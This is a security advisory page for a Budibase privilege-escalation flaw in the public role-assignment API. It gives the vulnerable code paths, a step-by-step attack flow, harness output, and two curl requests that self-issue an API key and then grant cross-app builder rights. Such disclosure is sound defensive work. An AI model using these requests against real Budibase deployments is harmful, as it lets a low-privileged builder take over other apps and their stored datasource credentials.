Skip to content

GHSA-j9fc-w3mr-x6mv CVE-2026-73305

Budibase: Privilege escalation via public role assignment API missing app-level authorization

High npm
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.52%
Chance of exploitation in the next 30 days. Higher than 44.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
Fix
None yet
No fixed version published

Description

Summary

Budibase 3.39.19 (commit 03fbabae4) is affected by a privilege-escalation / missing-authorization flaw in the public role-assignment API. An app-scoped builder (a user who builds only specific apps — user.builder.apps = [appA], not a global builder or admin) can grant themselves builder access to ANY other app in the tenant, or assign themselves/any user an arbitrary data-plane role (e.g. ADMIN) in any app, by calling POST /api/public/v1/roles/assign. The endpoint only authorizes the two global flags (admin, builder); the per-app appBuilder and role:{appId,roleId} grant vectors are passed to the backend without any authorization check that the caller controls the target app. Reproduced in a local authorized lab using the verbatim authorization-gate and SDK logic.

This is an incomplete fix of the role-assignment hardening in commit d63d1d9054 ("Inline public user global role validation"), which only ever validated the global flags.

Details

The issue is caused by authorization being implemented as a flag-level allowlist (admin/builder) instead of validating the scope the caller is granting.

Relevant code paths:

  • packages/server/src/api/controllers/public/globalRoleValidation.ts — validateGlobalRoleUpdate(ctx, roleUpdate) only checks roleUpdate.admin (requires isAdmin) and roleUpdate.builder (requires isGlobalBuilder). The GlobalRoleUpdate interface declares only { builder?, admin? }; appBuilder and role are not referenced.
  • packages/server/src/api/controllers/public/roles.ts — assign() does const { userIds, ...assignmentProps } = ctx.request.body; validateGlobalRoleUpdate(ctx, assignmentProps); await sdk.publicApi.roles.assign(userIds, assignmentProps). The appBuilder/role props pass through unvalidated.
  • packages/pro/src/sdk/publicApi/roles.ts — assign(): for opts.appBuilder it sets user.builder = { apps: existing.concat([getProdWorkspaceID(opts.appBuilder.appId)]) }; for opts.role it sets user.roles[getProdWorkspaceID(opts.role.appId)] = opts.role.roleId. No check that the caller builds the target app, and userIds is an arbitrary list (bulkGet). The only gate is the isExpandedPublicApiEnabled() license check.
  • packages/server/src/api/routes/public/index.ts — applyAdminRoutes(roleEndpoints) attaches only middleware.builderOrAdmin (no publicApi, no authorized(PermissionType.USER, …)).
  • packages/backend-core/src/middleware/builderOrAdmin.ts — with a workspaceId present, it only requires isBuilder(ctx.user, workspaceId). The attacker sets x-budibase-app-id to their own app (appA), so the gate passes.
  • packages/backend-core/src/middleware/builderOnly.ts — on the worker, POST /api/global/self/api_key only requires hasBuilderPermissions(ctx.user), which is true for app-scoped builders, so the attacker can self-issue a public API key.
  • packages/shared-core/src/sdk/documents/users.ts — isGlobalBuilder is false for app-scoped builders (so the global builder flag is correctly blocked), while isBuilder(user, appA) and hasBuilderPermissions(user) are true.

Attack flow:

  1. Attacker is an app-scoped builder of appA only (no global builder/admin).
  2. POST /api/global/self/api_key (worker) — passes builderOnly via hasBuilderPermissions → attacker obtains a public API key.
  3. POST /api/public/v1/roles/assign with header x-budibase-app-id: <appA prod id> and body {"userIds":["<self>"],"appBuilder":{"appId":"<appB>"}} — builderOrAdmin passes (isBuilder(user, appA)), validateGlobalRoleUpdate ignores appBuilder, the SDK pushes appB into user.builder.apps.
  4. Attacker is now a builder of appB (and, via the role vector, can set any data-role such as ADMIN in any app).

Security boundary crossed:

  • Before: builder of appA only.
  • After: builder of appB (and any other app) → read/modify all rows, read datasource configs and exfiltrate stored datasource credentials, edit automations (including the bash/executeScript/executeQuery steps); plus arbitrary data-role assignment in any app.
  • Why disallowed: the per-app builder model is meant to isolate builders to their assigned apps; a builder of one app must not gain authority over apps they were never granted.

PoC

Environment:

  • Budibase version: 3.39.19, commit 03fbabae4
  • Deployment: Business/Enterprise license required (isExpandedPublicApiEnabled)
  • Attacker role: app-scoped builder (user.builder.apps=[appA]), not global builder/admin
  • Mock services: none needed for the unit-level proof; HTTP PoC script provided for a licensed lab

Steps (unit-level proof, no license needed — verbatim auth-gate + SDK logic):

  1. Run the verification harness:
cd D:/CVE-Hunting/budibase-audit-output/lab
node harness/verify-privesc-authz.cjs
  1. Observed result (evidence: evidence/lab-privesc-authz.log):
[PASS-VALIDATION] appBuilder:{appId:APP_B}          -> NOT rejected
[PASS-VALIDATION] role:{appId:APP_B, roleId:'ADMIN'}-> NOT rejected
[BLOCKED 403]      builder:true (global)            -> Only global builders or admins ...
[BLOCKED 403]      admin:true (global)              -> Only global admins ...
after : builder={"apps":["app_A...","app_B..."]} roles={"app_B...":"ADMIN"}
isBuilder(attacker, APP_B) now = true   <-- escalated to builder of APP_B

Steps (HTTP PoC for a licensed lab — poc/privesc-roles-assign.sh):

# 1) self-issue API key
curl -X POST http://localhost:10000/api/global/self/api_key -H "Cookie: <attacker session>" -d '{}'
# 2) escalate: grant self builder of appB
curl -X POST http://localhost:10000/api/public/v1/roles/assign \
  -H "x-budibase-api-key: <KEY>" -H "x-budibase-app-id: <appA prod id>" \
  -H "content-type: application/json" \
  -d '{"userIds":["<self global id>"],"appBuilder":{"appId":"<appB>"}}'
  1. Expected result:
The request should be rejected (403) — an app-scoped builder must not be able to grant
itself builder/role access to an app it does not control. Instead it returns 200 and the
grant is applied.

Evidence files:

  • evidence/lab-privesc-authz.log
  • poc/verify-privesc-authz.cjs, poc/privesc-roles-assign.sh

Runtime limitation: full HTTP end-to-end requires a Business/Enterprise license (isExpandedPublicApiEnabled); no license was cracked. The authorization defect is proven at unit level with the verbatim validation + SDK logic, and the route→validation→SDK call chain was independently verified by source review.

Source PoC

Budibase-GHSA-Reports.zip

Impact

An attacker holding an app-scoped builder role on a single app in a licensed (Business/Enterprise) tenant can:

  • escalate to builder of every other app in the tenant (cross-app/workspace isolation bypass);
  • read and modify all rows in those apps;
  • read those apps' datasource configurations and exfiltrate stored datasource credentials;
  • edit automations in those apps, including server-side execution steps;
  • assign arbitrary data-plane roles (e.g. ADMIN) in any app to any user, including themselves.

It does not grant the global admin/builder flags (those are validated), so it is not a direct global-admin takeover; but cross-app builder is effectively a tenant-wide app/data-plane compromise. No real secrets were accessed during testing; the lab used canary-only data.

Affected versions

npm

PackageVulnerableFixed in
@budibase/server
<= 3.38.1
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-6x9p-4r67-5gjx
Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url`
High Also affects @budibase/server
GHSA-5fpj-28rv-84r7
Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist
High Also affects @budibase/server
GHSA-hfhx-w8p8-4hc7
Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Medium Also affects @budibase/server
GHSA-v42f-v8xc-j435
Budibase: SSRF via DNS rebinding in the REST datasource integration
High Also affects @budibase/server
GHSA-pmpg-2mxq-6xwr
Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete
High Also affects @budibase/server
GHSA-cr7p-cr3q-h5cm
Budibase: Account Enumeration via Login Lockout Response Differential
Medium Also affects @budibase/server
GHSA-pvcr-8mvp-w8qr
Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)
High Also affects @budibase/server
GHSA-2xgg-r2wc-c5r2
Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector
High Also affects @budibase/server
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor